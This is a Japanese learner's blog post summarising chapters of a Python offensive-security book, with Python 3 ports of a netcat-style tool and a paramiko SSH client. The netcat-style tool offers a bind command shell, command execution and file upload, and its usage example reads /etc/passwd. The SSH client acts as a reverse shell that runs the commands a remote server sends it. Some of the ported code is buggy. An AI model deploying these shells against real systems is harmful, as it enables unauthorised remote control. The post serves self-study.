サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考 1章&2章 勉強まとめ

サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考

サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考


勉強のまとめ記事。

サンプルコードはpython2系なのですが、勉強のためにpython3系(3.5.1)に書き直していきます。

初学者なので間違いがあると思います。間違いがあったらコメントくれたらありがたいです。


1章

特に書くことなし。

Wing IDE は使用せずに、sublime text3 を使ってます。

それと、Kali Linuxがなぜか動作が重いので、基本的にはwindowsでやっていく予定です。

2章

Python のsocket ライブラリを使った基本的な通信プログラムの作成について。

TCPクライアントとTCPサーバー

# coding: utf-8
import socket

target_host = "127.0.0.1"
target_port = 9999

# ソケットオブジェクトの作成
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# サーバーへ接続
client.connect((target_host, target_port))

# データの送信
client.send(b"ABCDEF")

# データの受信
response = client.recv(4096)

print(response)

# coding: utf-8
import socket
import threading

bind_ip = "127.0.0.1"
bind_port = 9999

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server.bind((bind_ip, bind_port))

server.listen(5)

print("[*] Listening on {0}:{1}".format(bind_ip, bind_port))

# クライアントからの接続を処理するスレッド
def handle_client(client_socket):

    #クライアントからの接続を処理するスレッド
    request = client_socket.recv(1024)

    print("[*] Received: ", request)

    #パケットの返送
    client_socket.send(b"ACK!")

    client_socket.close()

while True:

    client, addr = server.accept()

    print("[*] Accepted connection from: {0}:{1}".format(addr[0], addr[1]))

    #受信データを処理するスレッドの起動
    client_handler = threading.Thread(target=handle_client, args=(client, ))
    client_handler.start()

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

AF_INET は、標準的なIPv4 のアドレスやホスト名を使用するための設定。

SOCK_STREAM は、TCP を用いるための設定。

client_handler = threading.Thread(target=handle_client, args=(client, ))

クライアントソケットのオブジェクトを引数にして、

handle_client 関数を実行する、新たなスレッドオブジェクトを作成する。

Netcat の置き換え

Netcatは、UNIX系OSコマンドラインアプリケーションの一つ。TCPUDPのパケットを読み書きするバックエンドとして機能するツールで、ネットワーク>>を扱う万能ツールとして知られる。後にWindows版なども登場している。

引用元:https://ja.wikipedia.org/wiki/Netcat

ようは、便利ツールをPython でつくってみようということらしい。

# coding: utf-8

import sys
import socket
import argparse
import threading
import subprocess

#グローバル変数の定義
listen             = False
command            = False
upload             = False
execute            = ""
target             = ""
upload_distination = ""
port               = 0

desc = """
    BHP Net Tool
    Usage: bhnet.py -t target_host -p port
    -l --listen              - listen on [host]:[port] for
                               incoming connections
    -e --execute=file_to_run - execute the given file upon
                               receiving a connection
    -c --command             - initialize a command shell
    -u --upload=destination  - upon receiving connection upload a
                               file and write to [destination]
    
    
    Examples:
    bhnet.py -t 192.168.0.1 -p 5555 -l -c
    bhnet.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe
    bhnet.py -t 192.168.0.1 -p 5555 -l -e \"cat /etc/passwd\"
    echo 'ABCDEFGHI' | ./bhnet.py -t 192.168.11.12 -p 135"""

def main():
    global listen
    global port
    global execute
    global command
    global upload_distination
    global target

    global desc

    #コマンドラインオプションの読み込み    
    parse = argparse.ArgumentParser(description=desc)
    parse.add_argument('-l', '--listen', action='store_true')
    parse.add_argument('-e', '--execute')
    parse.add_argument('-c', '--command', action='store_true')
    parse.add_argument('-u', '--upload')
    parse.add_argument('-t', '--target')
    parse.add_argument('-p', '--port', type=int)

    args = parse.parse_args()

    if args.listen:
        listen = True
    if args.execute:
        execute = args.execute
    if args.command:
        command = True
    if args.upload:
        upload_distination = args.upload
    if args.target:
        target = args.target
    if args.port:
        port = args.port

    #接続を待機する? それとも標準入力からデータを受け取って送信する?
    if not listen and len(target) and port > 0:
        #コマンドラインからの入力を'buffer'に格納する
        #入力が来ないと処理が継続されないので
        #標準入力にデータを送らない場合は、Ctrl-Dを入力
        buffer = input()

        #データ送信
        client_sender(buffer)

    #接続待機を開始
    #コマンドラインオプションに応じて、ファイルアップロード
    #コマンド実行、コマンドシェルの実行を行う
    if listen:
        server_loop()

def client_sender(buffer):
    global target
    global port

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        #接続ホストへの接続
        client.connect((target, port))

        if len(buffer):
            client.send(buffer)

        while True:
            #動的ホストからのデータを待機
            recv_len = 1
            response = b""

            while recv_len:
                data = client.recv(4096)
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break

            print(response.decode('shift-jis'))

            #追加の入力を待機
            buffer = input().encode()

            buffer += b"\n"

            #データの送信
            client.send(buffer)


    except:
        print("[*] Exception! Exiting.")
        #接続の終了
        client.close()

def server_loop():
    global target
    global port

    #待機するIPアドレスが指定されていない場合は
    #すべてのインタフェースで接続を待機
    if not len(target):
        target = "127.0.0.1"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))
    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        #クライアントからの新しい接続を処理するスレッドの起動
        client_thread = threading.Thread(target=client_handler, args=(client_socket,))
        client_thread.start()

def run_command(command):
    #文字列の末尾の改行を削除
    command = command.rstrip()
    command = command.decode('ascii')
    #コマンドを実行し出力結果を取得
    try:
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
    except:
        output = b"Failed to execute command."

    #出力結果をクライアントに送信
    return output

def client_handler(client_socket):
    global upload
    global execute
    global command
    global upload_distination

    # ファイルアップロードを指定されているかどうかの確認
    if len(upload_distination):

        # すべてのデータを読み取り、指定されたファイルにデータを書き込み
        file_buffer = b""

        # 受信データがなくなるまでデータ受信を継続
        while True:
            data = client_socket.recv(1024)

            if len(data) == 0:
                break
            else:
                file_buffer += data

        # 受信したデータをファイルに書き込み
        try:
            file_descriptor = open(upload_destination,"wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            # ファイル書き込みの成否を通知
            client_socket.send(
                b"Successfully saved file to {}\n".format(upload_destination))
        except:
            client_socket.send(
                b"Failed to save file to {}\n".format(upload_destination))


    # コマンド実行を指定されているかどうかの確認
    if len(execute):

        # コマンドの実行
        output = run_command(execute)

        client_socket.send(output)


    # コマンドシェルの実行を指定されている場合の処理
    if command:
        # プロンプトの表示
        prompt = b"<BHP:#>"
        client_socket.send(prompt)

        while True:

            # 改行(エンターキー)を受け取るまでデータを受信
            cmd_buffer = b""
            while b"\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)

            # コマンドの実行結果を取得
            response = run_command(cmd_buffer)
            response += prompt

            # コマンドの実行結果を送信
            client_socket.send(response)

if __name__ == '__main__':
    main()

parse = argparse.ArgumentParser(description=desc)

parse.add_argument('-l', '--listen', action='store_true')

parse.add_argument('-e', '--execute')

parse.add_argument('-c', '--command', action='store_true')

parse.add_argument('-u', '--upload')

parse.add_argument('-t', '--target')

parse.add_argument('-p', '--port', type=int)

args = parse.parse_args()

サンプルコードでは getopt モジュールが使われていますが、公式ドキュメントに

argparse モジュールの利用を検討をしてください

とあったのでこちらに書き換えることにしました。

getopt モジュールよりも感覚的に使いやすい感じ。他にも使いみちがありそう。

公式ドキュメント:16.4. argparse — コマンドラインオプション、引数、サブコマンドのパーサー — Python 3.5.2 ドキュメント

output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)

subprocessライブラリは、プロセスを立ち上げたり子プロセスとやり取りしたりするのに使用され、 ここでは渡したコマンドをローカルのOSに渡して実行している(本での解説のまま)。

公式ドキュメントにはrun関数を使うことが推奨されていたけれど、使い方が分からなかったので保留。

(追記)

run()関数を使うバージョンです。

nnpo.hatenablog.com

公式ドキュメント:17.5. subprocess — サブプロセス管理 — Python 3.5.2 ドキュメント

print(response.decode('shift-jis'))

command = command.decode('ascii')

ここの処理の仕方にすごく手こずってしまった。

send と recv では、バイト型のデータ(文字コード:ascii)がやり取りされる。

そして、subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)の戻り値の文字コードはshift-jis のバイト型なので、各々に合わせてデコードしなければならなかった。

この文字コードはchardetモジュールのchardet.detect()関数で調べました……。

TCPプロキシー

こちらはいくら試しても出来なかったので保留……。

完成したら追記します。

SSH通信プログラムの作成

Secure Shell(セキュアシェル、SSH)は、暗号や認証の技術を利用して、安全にリモートコンピュータと通信するためのプロトコル。パスワードなどの認証部分を含むすべてのネットワーク上の通信が暗号化される。

引用元: https://ja.wikipedia.org/wiki/Secure_Shell

# -*- coding: utf-8 -*-

import threading
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()
    #client.load_host_keys('/home/justin/.ssh/known_hosts')
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.send(command)
        # バナー情報読み取り
        print(ssh_session.recv(1024).decode('ascii'))
        while True:
            # SSHサーバからコマンド受け取り
            command = ssh_session.recv(1024).decode('ascii')
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                ssh_session.send(cmd_output)
            except Exception as e:
                ssh_session.send(str(e))
        client.close()
    return

ssh_command('127.0.0.1', 'justin', 'lovesthepython', b'ClientConnected')

client = paramiko.SSHClient()

client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

client.connect(ip, username=user, password=passwd)

ssh_session = client.get_transport().open_session()

ssh_session.send(command)

ssh_session.recv(1024)

paramiko 関連の詳しい日本語文章がなかったので、ぶっちゃけよく分かっていない(英語が読めない)ですが、

client = paramiko.SSHClient()

client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

client.connect(ip, username=user, password=passwd)

で、ユーザ名とパスワードによる認証を行い、サーバーに接続、

ssh_session = client.get_transport().open_session()

これで、SSH通信に必要なトランスポートオブジェクトを代入する。

データのやり取りは、

send()

recv()

で行うらしい。

# -*- coding: utf-8 -*-
import socket
import paramiko
import threading
import sys


# Paramikoのデモファイルに含まれている鍵ファイルを利用
host_key = paramiko.RSAKey(filename='test_rsa.key')

class Server (paramiko.ServerInterface):
    def _init_(self):
        self.event = threading.Event()
    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    def check_auth_password(self, username, password):
        if (username == 'justin') and (password == 'lovesthepython'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED

server = sys.argv[1]
ssh_port = int(sys.argv[2])

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((server, ssh_port))
    sock.listen(100)
    print("[+] Listening for connection ...")
    client, addr = sock.accept()
except Exception as e:
    print("[-] Listen failed:{}".format(str(e)))
    sys.exit(1)
print("[+] Got a connections")

try:
    bhSession = paramiko.Transport(client)
    bhSession.add_server_key(host_key)
    server = Server()
    try:
        bhSession.start_server(server=server)
    except paramiko.SSHException as x:
        print("[-] SSH negotiation failed.")
    chan = bhSession.accept(20)
    print("[+] Authenticated!")
    print(chan.recv(1024).decode('ascii'))
    chan.send(b'Welcome to bh_ssh')
    while True:
         try:
             command= input("Enter command: ").strip('\n').encode()
             if command != b'exit':
                 chan.send(command)
                 print(chan.recv(1024).decode('shift-jis'),'\n')
             else:
                 chan.send(b'exit')
                 print("exiting")
                 bhSession.close()
                 raise Exception ('exit')
         except KeyboardInterrupt:
             bhSession.close()
except Exception as e:
    print("[-] Caught exception:{}".format(str(e)))
    try:
        bhSession.close()
    except:
        pass
    sys.exit(1)

host_key = paramiko.RSAKey(filename='test_rsa.key')

デモファイルのSSH鍵の使用。

class Server (paramiko.ServerInterface)

サーバーをSSH化するためのクラス。

check_channel_request(self, kind, chanid)

チャネル要求が許可されるかどうかを判断する

check_auth_password(self, username, password)

ユーザ名とパスワードが正しいかの判断をする。

self.event = threading.Event()

ドキュメントを見ると、

イベントオブジェクトを実装しているクラスです。イベントは set() メソッドを使うと True に、 clear() メソッドを使うと False にセットされるようなフラグを管理します。 wait() メソッドは、全てのフラグが true になるまでブロックするようになっています。フラグの初期値は false です。

ということらしい。

けど、

server = Server()

bhSession.start_server(server=server)

の内部の動作がイマイチよくわからない……。

paramikoの公式ドキュメント: Welcome to Paramiko’s documentation! — Paramiko documentation

SSHトンネリング

本文では、SSHフォワードトンネリングについてイラストと文章で説明されているのだけれどイマイチ分かりにくい……。


独学で色々とやってみたけど、この本は初心者にはなかなか厳しいことがわかった……。

セキュリティやpythonの勉強を勧めながら頑張っていきたい。

python3系に書き換えるのは勉強にはなるけど、サンプルコードは2系で完成されてるので書き換えるのはあまり実用的ではないと……。